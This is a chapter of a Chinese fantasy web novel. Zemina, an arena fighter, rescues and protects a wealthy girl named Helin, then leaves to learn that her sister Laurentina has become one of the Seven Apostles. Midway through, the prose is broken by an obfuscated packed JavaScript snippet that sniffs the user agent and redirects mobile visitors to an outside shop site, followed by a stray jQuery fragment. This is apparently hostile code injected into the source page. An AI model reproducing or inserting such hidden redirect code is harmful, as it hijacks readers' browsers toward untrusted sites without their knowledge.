“山姆大叔,山姆大叔,我好像在一张旧海报上见过一个女孩子,她拿着把斧头战斗,好帅。”
“嗯,确实很帅。她曾经将我也打败了呢。”
“那她现在还在不在这竞技场里呀?我还想找她请教一下。”
“她……她现在不在这个地方了。她现在应该去更好的地方生活了。”
“好吧,那还挺可惜的。我能问一下她叫什么名字吗?”
“这个……时间过去有点久了,我也记得不太清楚。”
“连山姆大叔都会遗忘的人吗?那确实挺厉害的。”
“没事的,劳伦缇娜。我相信你的实力,你会比她更好。”
晚上,山姆一个人靠在窗边,看着外面皎洁的月光。月光落在他的脸上,像铺了一层薄薄的霜。
“泽米娜,希望劳伦缇娜能一直为你骄傲。你在外面,过得还好吗。”
夜晚的冷风吹拂着玻利瓦尔,伴随着落叶与沙沙的树声。泽米娜走在碎石的道路上。脚底与碎石摩擦,发出细碎而孤单的声响。
“好冷。我该去哪里?”
泽米娜望着那灯火辉煌的城市。霓虹灯与无数的光线照耀着,而她自己却蹲在一棵大树的旁边,倚靠着粗糙的树干。惨白的月光映照在她的脸上,像一层没有温度的纱。
“父亲,我真的为你而骄傲吗?不行,我答应过劳伦缇娜。尽管那个女子并不是我的母亲,但她是我的家人。”
树梢旁的几只萤火虫在不断闪烁着,就如同星空下跳跃的精灵。它们忽明忽暗,像极了那些抓不住的东西。
金色的瞳孔看着面前的一切,眼里闪烁着星光与那不舍。
“如果能变成那萤火虫,那该多好。”
泽米娜向着第二城区慢慢走去。
此时在竞技场里,劳伦缇娜仍在与对手较量着。她的锤子砸在对手的盾上,发出沉闷的、钢铁与钢铁之间的怒吼。
清晨,窗外的树枝上已经挂满了露水。泽米娜在街头漫无目的地行走着。地面上飘落的报纸与那落灰的路灯,像一座被遗忘的舞台。
“好烦。我到底该干什么?当文员的话,我读书的资质也不行。去找那些保卫人员,我也不太可以。怎么办?”
泽米娜看着头顶上方那巨大的天空岛。曾经,那还只是一小块的悬浮元石,如今已经变成了一座悬在所有人头顶的城。
“她是怎么做到的?可以凌驾在整个城市之巅。而我却……却只能在这街道上。”
突然,泽米娜听到了不远处一声巨大的爆炸声。气浪裹着热风扑面而来,震得她的耳朵嗡鸣。
“吓死我了。什么声音?看看没关系吧?”
泽米娜向着爆炸声的方向走去。她看见一两辆黑色轿车里面走出来很多人。有些拿着手上的武器向着这队进攻,有些则在远处释放自己的元技。火光与元技的光芒交替闪耀,像一场小型的战争。
“必须得保护好小姐!现在怎么会有这么多敌对势力?还听得到吗?!我们遭到袭击了!”
泽米娜看见一个蜷缩在街道角落处的小女孩,手上抱着一个价值不菲的娃娃。她缩成一团,像一只被暴风雨逼到墙角的幼鸟。
“她就是那些人口中的小姐吗?打得这么激烈。如果救下她的话,应该能拿一笔不菲的金额吧。”
泽米娜看着地面上被元技炸出来的巨坑,又看着那些保安一个个倒下,像被割倒的麦子。
“可不能让她死了。”
泽米娜绕到了后面,从墙壁上爬了上来,又跳到了小道里面。她看见面前满身污渍的小女孩,那双粉红色的眼睛在不停颤抖着。
“那个……我是来救你的。这里太危险了,先跟我走吧。”
小女孩颤颤巍巍地抬起头,看着泽米娜:“请,请问你是谁?爸爸跟我说,不能跟陌生人乱走。”
泽米娜想了想,说:“我不是陌生人。我是新被雇来的保镖。什么事待会儿再说,先把你给救走。”
小女孩半信半疑地将手搭在了泽米娜的手上。泽米娜抱起小女孩,跑出了危险的地方。身后不断传来爆炸与喊叫,像一整个世界的崩塌。
两个人一直来到了一家小店里。
“累死了。这里他们应该不会追过来了吧。老板,来两份绿豆沙。”
面前的小女孩疑惑地看着泽米娜。粉色的卷发挂在肩上,显得十分幼嫩。
“姐姐,请问你是谁?不是应该先回我家吗?”
“额……其实我也不知道你家在哪里。我只是一个路过的人,看着你受到威胁,想把你给救下来。”
小女孩开心地笑了起来,脸上洋溢着天真的笑容:“那好心大姐姐,谢谢你救了我。待会儿请你来我们家做客吧。”
泽米娜心里暗暗偷笑:“那可要好好款待我哦。我叫泽米娜,你呢?”
“我叫赫凛。父亲他们一天到晚在那大公司里面,我一直一直孤独地待在家里。我只是想出去玩玩,可是就遭到了威胁。”
“你父亲是在哪里工作的呀?看你这个打扮,应该是个富家千金吧。”
“我父亲在塞希丽研究所里面当总裁。不过他一天到晚忙着一些奇怪的事情,一直没有回过家。”
泽米娜看着端在自己面前的两碗绿豆沙。那散发着浓浓清香的绿豆沙,没过两分钟就全部吃完了。
“姐姐,你吃得好快。”
“那还用说,我可是最喜欢吃绿豆沙的。老板,多少钱?”
老板慢慢走了过来,看着两个人,说:“一共十元币。”
泽米娜摸了摸口袋,心里不禁震了一下。她发现自己压根没有一分钱。之前竞技场里赚到的钱,全部寄到了家里。
“额,老板,我好像没带钱。”
老板看着泽米娜,说:“我们只是一家小店。你来这里吃饭没有带钱,是几个意思?不过看你这手上的戒指挺值钱的,压在这里好了。”
泽米娜看着自己食指上那个镶着红色钻石的金戒指。她不知道这是谁给的,总感觉冥冥之中有不同的感觉。那戒指像在提醒她什么。
“这个……这个是一个人给我的。我看看身上能不能找出另外值钱的东西给你。”
“老板,我帮她付了。”赫凛直接将一百元币放在了桌子上面。
泽米娜看着这一百元币,陷入了沉思:“赫凛,你就没有零钱吗?一下子付这么多好吗?”
赫凛笑了笑,说:“我口袋里还有好几十张。每次出门在外的时候,就随便拿几张。”
泽米娜脸上露出了难以置信的惊讶表情。自己在竞技场里从头干到死,也没有赚到这么多钱。
老板开心地将一百元币放到了自己的口袋里,但又想了想,自己店面太小,又没有钱找。
“那个小姑娘,你这给得太大了。我得到银行去换点钱,才能找给你。”
“不用了,这些不算什么。不得不说,你这边的绿豆沙还挺好吃的。那就再帮我打包个几碗吧。”
两个人拎着绿豆沙慢慢走到了家。保安见到赫凛,就如同炸开了花一样。
一个保安跑了上来:“哎呀,我的小公主呀,终于找到你了!不然的话,你不在了,我们怎么向你父亲交代。你旁边的是谁?是人贩子吗?”
赫凛连忙解释道:“就是这个姐姐救了我。她对我很好,刚刚我们俩还吃了绿豆沙呢。”
保安说:“吃绿豆沙对身体都不好。而且还这么便宜,里面应该放了一些不好的东西。厨师已经做好菜了,等你去吃。”
“我说了我不想去。姐姐,我带你去我房间玩吧。”
两个人来到了房间里。泽米娜第一次看到用白色大理石装修的房间。那宽敞的卧室与那柔软的床,这是她这辈子羡慕却得不到的。
“姐姐,快坐呀。我这边是不是太脏了?”
泽米娜连忙反应过来:“不是的,不是的。我这身太脏了,我怕把你这个地方给搞脏。”
赫凛打开了房门,说:“海蒂阿姨,能不能帮这个姐姐准备一套好一点的衣服?再把浴室里的水给调一下,让姐姐洗个澡。”
海蒂慢慢走了过来,拿了一套上好的衣物。
“小姐,你要的东西给你拿来了。那位救了小姐的英雄,浴室的水已经帮你调好了。你身上的这身衣服就放在篮子里好了,我马上就会帮你去清洗。”
泽米娜不好意思地裹着浴袍进了浴室。她好久没有照过镜子了。身上的伤疤就如同烙印一样,刻在自己的心里。那些伤疤有的已经发白,有的还泛着淡淡的红,像一张画满战争的地图。
泽米娜看着面前的自己,泪水在眼里打转。她又想起自己的妹妹,和在竞技场里遇到的山姆大叔。她慢慢哭了起来,哭声被水声盖住。
过了一会儿,她又强忍着泪水泡进了浴缸里。可看着自己布满老茧与伤痕的手,又哭了起来。
浴室的门突然被打开。赫凛慢慢走了进来,看着正在哭泣的泽米娜。
“姐姐,你为什么在哭?难道是我做错了什么吗?”
泽米娜抬起头,看着面前的赫凛,突然脑袋一惊,连忙捂住自己的胸口。
“那个,那个没事,没事。只是眼睛有点干,想湿润一下。”
“可是姐姐,你身上的伤疤是怎么回事?难道你是一个隐姓埋名的江湖英雄?”
“额,那个……是姐姐想要成为英雄,所以自己画上去的。”
好不容易才将赫凛打发走。泽米娜将自己的全身洗干净,又好好地洗了个头。那丝滑的金发一直挂到了背部。在浴室里那朦胧的水蒸气中,少女身体的曲线慢慢展示出来。
“这个是我吗?我都有点不太认识我自己了。我在想什么?!赶紧擦一下。”
过了一会儿,泽米娜穿着新的衣服走了出来。赫凛则坐在书桌上喝着红茶,看到她出来,眼睛亮了一下。
“姐姐,你洗澡好快。我平时洗澡还会唱几句小儿歌。”
“哎呀,没事了。习惯了。”
“姐姐,你能一直留下来当我的贴身保镖吗?”
“如果你不嫌弃的话,我可以呀。”
赫凛看着童话书,说:“这里有一个坚强的少女,为了保护她想保护的人,爆发了她的真实潜力,最后打败了魔王的故事。姐姐,是不是里面的少女呀?”
“赫凛,这个是童话书,与现实没有任何关系哦。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894644|212817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赫凛合上童话书,说:“其实童话书里面预言的都很准。而且这本书,是跟我差不多的一个小女孩给我的。她手上还拿着一个那么长的法杖,那个法杖里面还有一个巨大的钟表呢,真的很好看。”
泽米娜心想:一个巨大的法杖?看来赫凛结交过很多实力强大的人。
“可我现在有想保护的人了,那就是你呀。”
赫凛脸色有点微红。窗外的落日洒在两个人的脸颊上,泽米娜露出了那难得的笑容。
赫凛说:“那我们就一直当好朋友吧。你要保护我哦。”
“那必须的。”
之后的日子,泽米娜天天带着赫凛在玻利瓦尔的第二城区游玩着。途中碰到了很多想取赫凛性命的帮派,但都被泽米娜一一化解了。她的斧头无数次出鞘,又无数次染血,却从未让赫凛看到。
直到有一天。
赫凛穿好了裙子,开心地跑到了泽米娜的房间里。阳光从窗户照进来,落在地板上,像铺了一层金粉。
可是一推开房门,却发现泽米娜并不在里面。床铺叠得整整齐齐,像没有人住过一样。她应该是在和自己玩捉迷藏吧。
“泽米娜,你在哪里呀?我看到你了,赶紧出来吧。”
找了许久,却没有人回应。赫凛心里感到了一点不安与恐惧。她在硕大的家里不停地寻找着,推开一扇又一扇门,喊了一遍又一遍。
“泽米娜!你在哪里?你在哪里?”
空荡荡的房间没有人回应。之后,海蒂走了过来,说:“小姐,告诉你个不好的消息。泽米娜她今天早晨往第三城区的方向去了。她跟我说,请赫凛照顾好自己,不要担心她。她有一件不得不做的事情。”
赫凛心里一震。不得不做的事吗?
“好吧。我会一直等她。”
之后,赫凛再也没有出过家门。她一个人吃着绿豆沙,看着泽米娜亲手做的画框,里面装着两个人玩耍时的画。那画上的两个小人手牵着手,笑得那么开心。
房门被突然推开。赫凛惊恐地看向房门。
一个瘦小的少女站在赫凛面前,身体上面长满了元石。那些元石从皮肤下生长出来,像一件冰冷的水晶铠甲。她的眼睛是空洞的,像两口枯井。
“你是谁?”
“我是若心。”
“若心……你怎么会进来?”
“抱歉。有人让我杀了你。我不得不说,这是我的指令。”
“我还在等一个人。”
“等谁?”
“一个很重要的人。她说过她会保护我的,一直一直。”
“可你口中提到的那个人,并不在你身边。”
“她会来的。”
赫凛望向窗外。硕大的花园外面,并没有人影。只有风把树叶吹得沙沙作响。
赫凛抿了抿嘴唇,看着面前的若心。
若心看着门外血流成河的保安,又看了看瘦小可怜的赫凛。
“你叫什么名字?”
“我叫赫凛。”
“赫凛……这个名字,好熟悉。”
“是你之前的朋友吗?”
“我不太记得了。但是我的头脑在一阵阵疼痛。赫凛,赫凛,赫凛。”
若心放下了手中的短刀,将赫凛抱了起来。她看着赫凛那粉色稚嫩的眼睛,那双眼睛里还映着窗外的天光。
“我带你走吧。我同样也会保护你。”
赫凛犹豫了。尽管若心手上的元石扎着她的背,有点疼痛,但她能从她的皮肤里面感受到那暖流。那暖流很微弱,却真实地存在着。
“你不会杀了我吗。”
“或许吧。有可能就是几分钟以后。不过,我答应现在绝对不会杀你。”
若心抱着赫凛消失在别墅里面。没人知道她们去了哪里,只是消失在了远方的余晖中。夕阳把两个瘦小的影子拉得很长,像两条终于交汇的路。
泽米娜在路上疯狂地跑着,跑向第三城区塔维奥的家。风灌进她的肺里,像要把她整个人都烧起来。
她将门重重推开,看到坐在椅子上面沉思的塔维奥,还有一个健康的女子。
“塔维奥!你告诉我发生了什么事情?!”
塔维奥阴沉地抬起了头,眼里没有任何光。那眼神像一口被抽干了水的井。
“劳伦缇娜,她变成七神使了。”
泽米娜重重地跪倒在地上。她不敢相信,曾经自己如此喜爱的妹妹,却变成了那个人人都唾弃的七神使。地板冰凉,像她此刻的血液。
泽米娜突然站起来,抓住了塔维奥的衣领。她的指节泛白,整个人像一张被拉到极限的弓。
“你究竟让她做了什么?!她为什么会变成这样子!你难道就没有反思过吗?!”
“她自愿的。我隐藏他母亲的病情很久很久,但还是被她给知道了。她与撒旦签订了契约,撒旦拯救了她的母亲,而劳伦缇娜,则献出了自己的一切。”
泽米娜的手慢慢松了开来。她看着门上的凹陷,和地上已经凝固的血液。那些血已经变成了暗褐色,像一朵凋谢的花。
“我会去找到她的。不管我们相隔多远。多远,多远。”